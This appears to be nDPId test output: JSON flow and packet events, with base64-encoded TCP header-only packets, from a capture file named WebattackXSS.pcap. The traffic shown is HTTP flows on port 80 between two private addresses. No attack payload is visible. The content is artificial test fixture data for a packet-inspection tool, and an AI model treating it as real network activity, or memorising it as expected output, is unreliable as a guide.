+00444{"flow_id":178,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2530,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347271,"pkt_ts_usec":163075,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2HgbmHvT2w76ZKAScSAjFAAAAgQFtAQCCAoD4+HAAToQSgEDAwc="} +00432{"flow_id":178,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2531,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347271,"pkt_ts_usec":163675,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06ipAAD4G262sEAABwKgKMth4AFDbDvpkG5h71IAQAOXCGwAAAQEICgE6EEoD4+HA"} +00432{"flow_id":175,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2535,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347271,"pkt_ts_usec":691925,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0FmNAAD4Gr3WsEAABwKgKMthCAFDvjR03z4G7NIARAOWcIwAAAQEICgE6EM4D49zO"} +00432{"flow_id":175,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2536,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347271,"pkt_ts_usec":692113,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0WXBAAEAGamjAqAoyrBAAAQBQ2ELPgbs0740dOIARAOOWrgAAAQEICgPj4kQBOhDO"} +00432{"flow_id":175,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2537,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347271,"pkt_ts_usec":692717,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0FmRAAD4Gr3SsEAABwKgKMthCAFDvjR04z4G7NYAQAOWWrAAAAQEICgE6EM4D4+JE"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2541,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":179,"flow_packet_id":1,"flow_first_seen":1499347272469,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55430,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":179,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2541,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347272,"pkt_ts_usec":469831,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8wnhAAD4GA1isEAABwKgKMtiGAFBxpNPoAAAAAKACchAt1gAAAgQFtAQCCAoBOhGQAAAAAAEDAwc="} +00444{"flow_id":179,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2542,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347272,"pkt_ts_usec":469965,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2IbhJKqDcaTT6aAScSC8IQAAAgQFtAQCCAoD4+MHAToRkAEDAwc="} +00432{"flow_id":179,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2544,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347272,"pkt_ts_usec":470508,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wnlAAD4GA1+sEAABwKgKMtiGAFBxpNPp4SSqhIAQAOVbKAAAAQEICgE6EZED4+MH"} +00434{"flow_id":176,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2547,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347272,"pkt_ts_usec":692900,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0e\/JAAD4GSeasEAABwKgKMthQAFA8R3do8\/oc94ARAOVstgAAAQEICgE6EcgD494N"} +00433{"flow_id":176,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2548,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347272,"pkt_ts_usec":693155,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0\/8lAAEAGxA7AqAoyrBAAAQBQ2FDz+hz3PEd3aYARAONnhgAAAQEICgPj4z4BOhHI"} +00434{"flow_id":176,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2549,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347272,"pkt_ts_usec":693887,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0e\/NAAD4GSeWsEAABwKgKMthQAFA8R3dp8\/oc+IAQAOVnhAAAAQEICgE6EcgD4+M+"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2550,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":6,"flow_first_seen":1499347200170,"flow_last_seen":1499347205672,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54660,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2550,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":6,"flow_first_seen":1499347200170,"flow_last_seen":1499347205672,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54660,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2550,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":6,"flow_first_seen":1499347201471,"flow_last_seen":1499347206672,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54674,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2550,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":6,"flow_first_seen":1499347201471,"flow_last_seen":1499347206672,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54674,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2550,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":6,"flow_first_seen":1499347202722,"flow_last_seen":1499347208672,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54688,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2550,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":6,"flow_first_seen":1499347202722,"flow_last_seen":1499347208672,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54688,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2550,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":6,"flow_first_seen":1499347205214,"flow_last_seen":1499347210673,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54714,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2550,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":6,"flow_first_seen":1499347205214,"flow_last_seen":1499347210673,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54714,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2550,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":6,"flow_first_seen":1499347206497,"flow_last_seen":1499347211674,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54728,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2550,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":6,"flow_first_seen":1499347206497,"flow_last_seen":1499347211674,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54728,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":177,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2553,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347273,"pkt_ts_usec":692777,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03TFAAD4G6KasEAABwKgKMtheAFDSkdD4N5ZLKYARAOUIxQAAAQEICgE6EsID499O"} +00432{"flow_id":177,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2554,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347273,"pkt_ts_usec":693001,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0rxFAAEAGFMfAqAoyrBAAAQBQ2F43lksp0pHQ+YARAOMD3AAAAQEICgPj5DgBOhLC"} +00432{"flow_id":177,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2555,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347273,"pkt_ts_usec":693548,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03TJAAD4G6KWsEAABwKgKMtheAFDSkdD5N5ZLKoAQAOUD2gAAAQEICgE6EsID4+Q4"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2556,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":180,"flow_packet_id":1,"flow_first_seen":1499347273742,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55444,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":180,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2556,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347273,"pkt_ts_usec":742540,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8s+tAAD4GEeWsEAABwKgKMtiUAFBek6EkAAAAAKACchByXgAAAgQFtAQCCAoBOhLPAAAAAAEDAwc="} +00444{"flow_id":180,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2557,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347273,"pkt_ts_usec":742666,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2JQ5PiSKXpOhJaAScSAtTAAAAgQFtAQCCAoD4+RFAToSzwEDAwc="} +00432{"flow_id":180,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2558,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347273,"pkt_ts_usec":743227,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0s+xAAD4GEeysEAABwKgKMtiUAFBek6ElOT4ki4AQAOXMUwAAAQEICgE6Es8D4+RF"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2571,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":181,"flow_packet_id":1,"flow_first_seen":1499347276278,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55470,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":181,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2571,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347276,"pkt_ts_usec":278643,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8RHhAAD4GgVisEAABwKgKMtiuAFAiVFExAAAAAKACchD7\/AAAAgQFtAQCCAoBOhVJAAAAAAEDAwc="} +00445{"flow_id":181,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2572,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347276,"pkt_ts_usec":278743,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2K6190rBIlRRMqAScSARgAAAAgQFtAQCCAoD4+a\/AToVSQEDAwc="} +00433{"flow_id":181,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2573,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347276,"pkt_ts_usec":279520,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0RHlAAD4GgV+sEAABwKgKMtiuAFAiVFEytfdKwoAQAOWwhwAAAQEICgE6FUkD4+a\/"} +00432{"flow_id":178,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2577,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347276,"pkt_ts_usec":693619,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06itAAD4G26ysEAABwKgKMth4AFDbDvpkG5h71IARAOW8tAAAAQEICgE6FbAD4+HA"} +00432{"flow_id":178,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2578,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347276,"pkt_ts_usec":693837,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0nPJAAEAGJubAqAoyrBAAAQBQ2HgbmHvU2w76ZYARAOO3TwAAAQEICgPj5yYBOhWw"} +00432{"flow_id":178,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2579,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347276,"pkt_ts_usec":694573,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06ixAAD4G26usEAABwKgKMth4AFDbDvplG5h71YAQAOW3TAAAAQEICgE6FbED4+cm"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2583,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":1,"flow_first_seen":1499347277521,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55484,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":182,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2583,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347277,"pkt_ts_usec":521080,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8EvlAAD4GstesEAABwKgKMti8AFAjjgSGAAAAAKACchBGKgAAAgQFtAQCCAoBOhZ\/AAAAAAEDAwc="} +00444{"flow_id":182,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2584,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347277,"pkt_ts_usec":521238,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2LxShGbpI44Eh6AScSChwgAAAgQFtAQCCAoD4+f1AToWfwEDAwc="} +00432{"flow_id":182,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2585,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347277,"pkt_ts_usec":521964,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0EvpAAD4Gst6sEAABwKgKMti8AFAjjgSHUoRm6oAQAOVAygAAAQEICgE6Fn8D4+f1"} +00432{"flow_id":179,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2589,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347277,"pkt_ts_usec":694246,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wnpAAD4GA16sEAABwKgKMtiGAFBxpNPp4SSqhIARAOVWDQAAAQEICgE6FqsD4+MH"} +00432{"flow_id":179,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2590,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347277,"pkt_ts_usec":694464,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0QqVAAEAGgTPAqAoyrBAAAQBQ2IbhJKqEcaTT6oARAONQ9AAAAQEICgPj6CEBOhar"} +00432{"flow_id":179,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2591,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347277,"pkt_ts_usec":695163,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wntAAD4GA12sEAABwKgKMtiGAFBxpNPq4SSqhYAQAOVQ8gAAAQEICgE6FqsD4+gh"} +00432{"flow_id":180,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2598,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347279,"pkt_ts_usec":694934,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0s+1AAD4GEeusEAABwKgKMtiUAFBek6ElOT4ki4ARAOXGggAAAQEICgE6GJ8D4+RF"} +00432{"flow_id":180,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2599,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347279,"pkt_ts_usec":695152,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0zp5AAEAG9TnAqAoyrBAAAQBQ2JQ5PiSLXpOhJoARAOPAswAAAQEICgPj6hUBOhif"} +00432{"flow_id":180,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2600,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347279,"pkt_ts_usec":695892,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0s+5AAD4GEeqsEAABwKgKMtiUAFBek6EmOT4kjIAQAOXAsQAAAQEICgE6GJ8D4+oV"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2604,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":183,"flow_packet_id":1,"flow_first_seen":1499347280049,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55510,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":183,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2604,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347280,"pkt_ts_usec":49679,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8qXBAAD4GHGCsEAABwKgKMtjWAFBVFLGHAAAAAKACchBlEAAAAgQFtAQCCAoBOhj3AAAAAAEDAwc="} +00443{"flow_id":183,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2605,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347280,"pkt_ts_usec":49804,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2NbA11G6VRSxiKAScSBlDAAAAgQFtAQCCAoD4+ptAToY9wEDAwc="} +00431{"flow_id":183,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2606,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347280,"pkt_ts_usec":50564,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qXFAAD4GHGesEAABwKgKMtjWAFBVFLGIwNdRu4AQAOUEEwAAAQEICgE6GPgD4+pt"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2613,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":184,"flow_packet_id":1,"flow_first_seen":1499347281325,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55524,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 